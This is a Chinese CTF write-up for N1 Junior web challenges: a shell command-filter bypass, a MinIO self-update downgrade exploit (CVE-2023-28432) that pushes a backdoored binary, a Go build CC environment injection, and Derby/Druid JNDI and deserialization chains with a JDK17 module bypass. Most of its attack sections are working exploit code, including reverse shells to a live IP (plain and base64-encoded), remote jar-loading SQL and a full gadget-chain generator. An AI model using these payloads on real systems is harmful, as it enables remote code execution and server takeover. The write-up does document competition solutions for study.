名称/排名情况 Boogipop: Rank 1 也是比较意外拿了个第一,各个题目都做的挺顺利(因为有hint
zako 虽然是个签到题,但这确实是我做的最久的题了 emmmmm,这个wp也就只有审核可以看到了,这里就说一下我蠢到极致的解法吧,首先我们可以获取execute.sh的内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 # !/bin/bash reject() { echo "${1}" exit 1 } XXXCMD=$1 awk -v str="${XXXCMD}" ' BEGIN { deny="`;&$(){}[]!@#$%^&*-"; for (i = 1; i <= length(str); i++) { char = substr(str, i, 1); for (x = 1; x < length(deny) + 1; x++) { r = substr(deny, x, 1); if (char == r) exit 1; } } } ' [ $? -ne 0 ] && reject "NOT ALLOW 1" eval_cmd=$(echo "${XXXCMD}" | awk -F "|" ' BEGIN { allows[1] = "ls"; allows[2] = "makabaka"; allows[3] = "whoareu"; allows[4] = "cut~no"; allows[5] = "grep"; allows[6] = "wc"; allows[7] = "杂鱼杂鱼"; allows[8] = "netstat.jpg"; allows[9] = "awsl"; allows[10] = "dmesg"; allows[11] = "xswl"; }{ num = 1; for (i = 1; i <= NF; i++) { for (x = 1; x <= length(allows); x++) { cmpstr = substr($i, 1, length(allows[x])); if (cmpstr == allows[x]) eval_cmd[num++] = $i; } } } END { for (i = 1; i <= length(eval_cmd); i++) { if (i != 1) printf "| %s", eval_cmd[i]; else printf "%s", eval_cmd[i]; } }' ) [ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2" eval ${eval_cmd}
这是一个sh脚本,其实所做的内容也很简单,设置了11个白名单 其实有用的也就3个wc、ls、grep
wc:查看文件行数情况,不可以读取内容
grep:可读取文件内容
ls:不多说
其次还设置了一个shell环境下的黑名单deny="
;&$(){}[]!@#$%^&*-“;,过滤了一些特殊字符。源码没了,感谢
@蒋十七`师傅的源码提供,阿里嘎多。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_string (shell_exec ("cat " .__FILE__ ." | grep -v preg_match | grep -v highlight" ));$cmd = $_REQUEST ["__secret.xswl.io" ];if (strlen ($cmd )>70 ) { die ("no, >70" ); } if (preg_match ("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is" ,$cmd )){ die ("你就不能绕一下喵" ); } system ("./execute.sh '" .$cmd ."'" );?>
我们可以使用ls指令查看当前所有文件。 并且可以使用grep 进行文件读取 当然flag是不可能被读出来的,接下里就是我的铸币解法了。先说一下思路,我认为这道题php有waf1,shell中有waf2,硬绕waf1 2我觉得我是不行,但是但凡少其中一个waf我都可以做出来,因此想法油然而生了。 我要将如下内容写入pop.php
1 2 3 4 <?php $cmd = $_REQUEST ["__secret.xswl.io" ];system ("./execute.sh '" .$cmd ."'" );?>
这样我就可以避免外层waf了。实现起来也很简单,依次进行如下操作
?.[secret.xswl.io=grep "<?php" inde?.php >> pop.php
?.[secret.xswl.io=grep "cmd" inde?.php >> pop.php
?.[secret.xswl.io=grep "system" inde?.php >> pop.php
然后读取一下pop.php的内容。 好了大功告成,那么最后的payload就是?.[secret.xswl.io=ls';cat /flag'
ezminio 还好最后一小时放了hint,不然到死都没想到这个思路,其实我感觉这个思路很不,Lolita师傅太强拉 CVE-2023-28432https://github.com/AbelChe/evil_minio 这是去年三月份出的漏洞,原理就是minio 信息泄露拿到管理员账号密码,进而可以自更新rce。但是利用有个前提条件,那就是不能在环境变量配置minisignPubKey,否则会进入verifyBinary检查sha256。那么就不可以自更新rce了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 const ( defaultMinisignPubkey = "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav" ) func verifyBinary (u *url.URL, sha256Sum []byte , releaseInfo, mode string , reader io.Reader) (err error ) { if !updateInProgress.CompareAndSwap(0 , 1 ) { return errors.New("update already in progress" ) } defer updateInProgress.Store(0 ) transport := getUpdateTransport(30 * time.Second) opts := selfupdate.Options{ Hash: crypto.SHA256, Checksum: sha256Sum, } if err := opts.CheckPermissions(); err != nil { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("server update failed with: %s, do not restart the servers yet" , err), StatusCode: http.StatusInternalServerError, } } minisignPubkey := env.Get(envMinisignPubKey, defaultMinisignPubkey) if minisignPubkey != "" { v := selfupdate.NewVerifier() u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig" if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("signature loading failed for %v with %v" , u, err), StatusCode: http.StatusInternalServerError, } } opts.Verifier = v } if err = selfupdate.PrepareAndCheckBinary(reader, opts); err != nil { var pathErr *os.PathError if errors.As(err, &pathErr) { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("Unable to update the binary at %s: %v" , filepath.Dir(pathErr.Path), pathErr.Err), StatusCode: http.StatusForbidden, } } return AdminError{ Code: AdminUpdateApplyFailure, Message: err.Error(), StatusCode: http.StatusInternalServerError, } } return nil }
这是题目版本对应的verifyBinary函数逻辑,可以看到传入了一个publickey进行校验。并且publickey怎么样都是有个值的。 这导致我们无法自更新二开后的minio 二进制文件。那怎么办呢? 这里其实就引入了一个二次思维,我们先将版本退化为不需要校验publickey的版本,然后再上传我们的evil_minio,这样就可以绕过这个机制了 这是2023-2月版本的verrifyBinary方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 func verifyBinary (u *url.URL, sha256Sum []byte , releaseInfo string , mode string , reader []byte ) (err error ) { if !atomic.CompareAndSwapUint32(&updateInProgress, 0 , 1 ) { return errors.New("update already in progress" ) } defer atomic.StoreUint32(&updateInProgress, 0 ) transport := getUpdateTransport(30 * time.Second) opts := selfupdate.Options{ Hash: crypto.SHA256, Checksum: sha256Sum, } if err := opts.CheckPermissions(); err != nil { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("server update failed with: %s, do not restart the servers yet" , err), StatusCode: http.StatusInternalServerError, } } minisignPubkey := env.Get(envMinisignPubKey, "" ) if minisignPubkey != "" { v := selfupdate.NewVerifier() u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig" if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("signature loading failed for %v with %v" , u, err), StatusCode: http.StatusInternalServerError, } } opts.Verifier = v } if err = selfupdate.PrepareAndCheckBinary(bytes.NewReader(reader), opts); err != nil { var pathErr *os.PathError if errors.As(err, &pathErr) { return AdminError{ Code: AdminUpdateApplyFailure, Message: fmt.Sprintf("Unable to update the binary at %s: %v" , filepath.Dir(pathErr.Path), pathErr.Err), StatusCode: http.StatusForbidden, } } return AdminError{ Code: AdminUpdateApplyFailure, Message: err.Error(), StatusCode: http.StatusInternalServerError, } } return nil }
在这里假如环境变量中没有配置publickey那么就默认为空,也就绕过了判断。这就符合我们的条件了。在题目环境中环境变量是没配置publickey的,不然也打不了。 题目给的是内网9000端口映射出的服务http://47.112.112.23:23333 我们利用mc 管理工具将其添加进我们的hostmc config host add minio [http://47.112.112.23:23333](http://47.112.112.23:23333) minioadmin minioadmin
目标是默认密码和用户名,权限也是admin,有自更新权限,首先是降级处理。这里我选用的版本是[minio.RELEASE.2023-02-10T18-48-39Z](https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2023-02-10T18-48-39Z)
https://dl.min.io/server/minio/release/linux-amd64/archive/ 我们需要这三个文件,下载下来后先给他改个名字,自更新判断的是sha256sum文件的第二个字段。 假如这个字段的版本小于服务器当前的版本,那么就不会自更新,所以我们随便将其改为另一个名字minio.RELEASE.2024-01-15T18-25-24Z
,并且将sha256sum文件以及内容也改为如上的名字,之后我们就可以开启自更新了。mc admin update minio [http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum](http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum) -y
等待大概四分钟,我们就可以看到更新成功。(我服务器是真屎啊,95M传四分钟) 接下来我们该做的就是二次更新替换为evil_minio 编译该项目即可https://github.com/AbelChe/evil_minio 然后也是一样的处理,修改名字为超过当前版本的版本即可。这个可以不需要minisig文件,因为绕过了verifyBinary。mc admin update minio [http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum](http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum) -y
同样也是等待四分钟 最后输入全局后门alive获取flag即可。
MyGo MyGO! 给了源码分析一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package mainimport ( "embed" "fmt" "github.com/gin-gonic/gin" "net/http" "os" "os/exec" ) var fs embed.FSfunc IndexHandler (c *gin.Context) { c.FileFromFS("public/" , http.FS(fs)) } func BuildHandler (c *gin.Context) { var req map [string ]interface {} if err := c.ShouldBindJSON(&req); err != nil { c.JSON(http.StatusOK, gin.H{"error" : "Invalid request" }) return } if !PathExists("/tmp/build/" ) { os.Mkdir("/tmp/build/" , 0755 ) } defer os.Remove("/tmp/build/main.go" ) defer os.Remove("/tmp/build/main" ) os.Chdir("/tmp/build/" ) os.WriteFile("main.go" , []byte (req["code" ].(string )), 0644 ) var env []string for k, v := range req["env" ].(map [string ]interface {}) { env = append (env, fmt.Sprintf("%s=%s" , k, v)) } cmd := exec.Command("go" , "build" , "-o" , "main" , "main.go" ) cmd.Env = append (os.Environ(), env...) if err := cmd.Run(); err != nil { c.JSON(http.StatusOK, gin.H{"error" : "Build error" }) } else { c.File("/tmp/build/main" ) } } func PathExists (p string ) bool { _, err := os.Stat(p) if err == nil { return true } if os.IsNotExist(err) { return false } return false } func main () { r := gin.Default() r.GET("/" , IndexHandler) r.POST("/build" , BuildHandler) r.Run(":8000" ) }
作用就是一个编译平台,你输入一个code,他就会帮你build,在这个过程中我们可控的东西只有environment变量,那么我们科学上网的时间就到了。https://pkg.go.dev/cmd/go#hdr-Environment_variables 我找到了个好玩的变量,那就是CC
,这个东西是一个指令,我们可以看看本地 可以发现CC=gcc,这段代码触发的场合如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package mainimport "C" import "fmt" func main () { f := C.intFunc(C.fortytwo) fmt.Println(int (C.bridge_int_func(f))) }
注释中的C代码会被gcc进行编译。我们可以这样测试export CC=whoami
你将会看到一段抛错 那就是gcc被我们改成了whoami,自然就报错了,我们这里就是一个命令注入的点位了。 我们export CC='bash -c "bash -i >& /dev/tcp/8.130.24.188/7775 <&1"'
即可完成注入获取flag。最终payload数据包如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /build HTTP/1.1 Host : 121.199.64.23:25480Content-Length : 443User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0Content-Type : text/plain;charset=UTF-8Accept : */*Origin : http://121.199.64.23:25480Referer : http://121.199.64.23:25480/Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection : close{"env" :{"GOOS" :"linux" ,"GOARCH" :"amd64" ,"CGO_ENABLED" :"1" , "CC" :"bash -c \" bash -i >& /dev/tcp/8.130.24.188/7775 <&1\" " ,"GOGCCFLAGS" :"" },"code" :"package main\n \n // #include <stdio.h>\n // #include <stdlib.h>\n //\n // static void myprint(char* s) {\n // printf(\" %s\\ n\" , s);\n // }\n import \" C\" \n import \" unsafe\" \n \n func main() {\n cs := C.CString(\" Hello from stdio\" )\n C.myprint(cs)\n C.free(unsafe.Pointer(cs))\n }" }
Derby Derby + Druid 高版本 JNDI JDBC Attack 又到了Java Time,当时晚上写这题的时候还踩了点坑,主要就是JDK17那个大坑,我就是不信邪,我就是想用Derby的readObject去打Jackson链,但其实现在想想一点都不可能,因为JDK限制了module
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package com.example.derby;import javax.naming.Context;import javax.naming.InitialContext;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;@RestController public class IndexController { public IndexController () { } @RequestMapping({"/"}) public String index () { return "hello derby" ; } @RequestMapping({"/lookup"}) public String lookup (@RequestParam String url) throws Exception { Context ctx = new InitialContext (); ctx.lookup(url); return "ok" ; } }
很干脆的一个JNDI入口点lookup。但JDK17,在这个环境下还是需要利用一些额外的类去绕过,在Tomcat某些版本是可以BeanFactory配合EL去实现命令执行的,这里是Druid,也可以绕过。DruidDataSourceFactory#getObjectInstance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { if (obj != null && obj instanceof Reference) { Reference ref = (Reference)obj; if (!"javax.sql.DataSource" .equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource" .equals(ref.getClassName())) { return null ; } else { Properties properties = new Properties (); for (int i = 0 ; i < ALL_PROPERTIES.length; ++i) { String propertyName = ALL_PROPERTIES[i]; RefAddr ra = ref.get(propertyName); if (ra != null ) { String propertyValue = ra.getContent().toString(); properties.setProperty(propertyName, propertyValue); } } return this .createDataSourceInternal(properties); } } else { return null ; } }
在这里有一个createDataSourceInternal
操作 在这个config方法最后会调用init方法 在这里会有createPhysicalConnection方法 最终在里面发起了JDBC连接。 这时候就回到了JDBC-ATTACK的利用了JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laugh 假如在这里有h2数据库的driver那就可以直接RCE,但很遗憾是没有的并且题目提示打derby。我一开始去想到的是derby的readobject,但实际上并不是,这里需要自己寻找一下。回到config方法,你会发现有一些初始化操作 而这里我们效仿h2,也寻找是否有初始化的sql语句,到这里就转变为了sql可控的注入。而derby数据库也是可以加载Jar包的http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
1 2 3 4 5 6 7 8 9 10 11 ## 导入一个类到数据库中 CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar' , 'APP.Sample4' , 0 ) ## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库 CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath' ,'APP.Sample4' ) ## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static 类型方法 CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec' ## 调用PROCEDURE CALL SALES.TOTAL_REVENUES()
那么最终poc就如下了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.javasec.pocs.solutions.n1junior;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class DerbyEvilServer { public static void main (String[] args) { try { Registry registry = LocateRegistry.createRegistry(8883 ); Reference ref = new Reference ("javax.sql.DataSource" ,"com.alibaba.druid.pool.DruidDataSourceFactory" ,null ); String JDBC_URL = "jdbc:derby:dbname;create=true" ; String JDBC_USER = "root" ; String JDBC_PASSWORD = "password" ; ref.add(new StringRefAddr ("driverClassName" ,"org.apache.derby.jdbc.EmbeddedDriver" )); ref.add(new StringRefAddr ("url" ,JDBC_URL)); ref.add(new StringRefAddr ("username" ,JDBC_USER)); ref.add(new StringRefAddr ("password" ,JDBC_PASSWORD)); ref.add(new StringRefAddr ("initialSize" ,"1" )); ref.add(new StringRefAddr ("initConnectionSqls" ,"CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();" )); ref.add(new StringRefAddr ("init" ,"true" )); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("pop" ,referenceWrapper); } catch (Exception e){ e.printStackTrace(); } } }
制作恶意jar包如下
1 2 3 4 5 6 7 import java.io.IOException;public class testShell4 { public static void exec () throws IOException { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}" ); } }
最后可以看到反弹shell
Derby Plus Druiddatasource getter gadgets + JDBC Attack 入口点变成了反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package com.example.derbyplus;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;import org.springframework.web.bind.annotation.RequestBody;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@RestController public class IndexController { public IndexController () { } @RequestMapping({"/"}) public String index () { return "hello derby plus" ; } @RequestMapping({"/deserialize"}) public String deserialize (@RequestBody String body) throws Exception { byte [] data = Base64.getDecoder().decode(body); ObjectInputStream input = new ObjectInputStream (new ByteArrayInputStream (data)); try { input.readObject(); } catch (Throwable var7) { try { input.close(); } catch (Throwable var6) { var7.addSuppressed(var6); } throw var7; } input.close(); return "ok" ; } }
并且给了cb依赖 已经是赤裸裸的在勾引了。打一个getter去触发getconnection,所以都不需要思考就找到了DruidDataSource#getConnection
并且这里刚好就有init方法,我们可以同样去打jdbc然后rce。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 package org.example;import com.alibaba.druid.pool.DruidDataSource;import org.apache.commons.beanutils.BeanComparator;import sun.misc.Unsafe;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*;public class DerbyPlusExp { public static void main (String[] args) throws Exception { final ArrayList<Class> classes = new ArrayList <>(); classes.add(Class.forName("java.lang.reflect.Field" )); classes.add(Class.forName("java.lang.reflect.Method" )); classes.add(Class.forName("java.util.HashMap" )); classes.add(Class.forName("java.util.Properties" )); classes.add(Class.forName("java.util.PriorityQueue" )); classes.add(Class.forName("org.apache.commons.beanutils.BeanComparator" )); classes.add(Class.forName("com.alibaba.druid.pool.DruidDataSource" )); new DerbyPlusExp ().bypassModule(classes); DruidDataSource druidDataSource = new DruidDataSource (); druidDataSource.setUrl("jdbc:derby:dbname;create=true" ); druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver" ); druidDataSource.setInitialSize(1 ); StringTokenizer tokenizer = new StringTokenizer ("CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();" , ";" ); druidDataSource.setConnectionInitSqls(Collections.list(tokenizer)); Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafe = (Unsafe) field.get(null ); Module baseModule = druidDataSource.getClass().getModule(); Class currentClass = PriorityQueue.class; long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.putObject(currentClass, offset, baseModule); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("2" ); setFieldValue(comparator, "property" , "connection" ); setFieldValue(druidDataSource,"logWriter" ,null ); setFieldValue(druidDataSource,"statLogger" ,null ); setFieldValue(druidDataSource,"transactionHistogram" ,null ); setFieldValue(druidDataSource,"initedLatch" ,null ); setFieldValue(queue, "queue" , new Object []{druidDataSource, druidDataSource}); String s = base64serial(queue); s.replace("+" ,"%2b" ); System.out.println(s); deserTester(queue); } private static Method getMethod (Class clazz, String methodName, Class[] params) { Method method = null ; while (clazz!=null ){ try { method = clazz.getDeclaredMethod(methodName,params); break ; }catch (NoSuchMethodException e){ clazz = clazz.getSuperclass(); } } return method; } private static Unsafe getUnsafe () { Unsafe unsafe = null ; try { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe) field.get(null ); } catch (Exception e) { throw new AssertionError (e); } return unsafe; } public void bypassModule (ArrayList<Class> classes) { try { Unsafe unsafe = getUnsafe(); Class currentClass = this .getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule" , new Class [0 ]); if (getModuleMethod != null ) { for (Class aClass : classes) { Object targetModule = getModuleMethod.invoke(aClass, new Object []{}); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )), targetModule); } } }catch (Exception e) { } }catch (Exception e){ e.printStackTrace(); } } public static void deserTester (Object o) throws Exception { base64deserial(base64serial(o)); } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.setAccessible(true ); if (field != null ) { field.set(obj, value); } } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void base64deserial (String data) throws Exception { byte [] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream (base64decodedBytes); ObjectInputStream ois = new ObjectInputStream (bais); ois.readObject(); ois.close(); } public static String base64serial (Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } }
环境是JDK17,注意一下payload生成。 这里需要学习的点就是jdk17如何bypass module的限制,这一点其实早在Kcon2021 Beichen师傅就已经提出了,也是学到了很多。
总结 这一次的N1 Junior的题大部分都有个共同性,就是二次思维,也就是单次Attack无法达到利用,那就double attack。Respect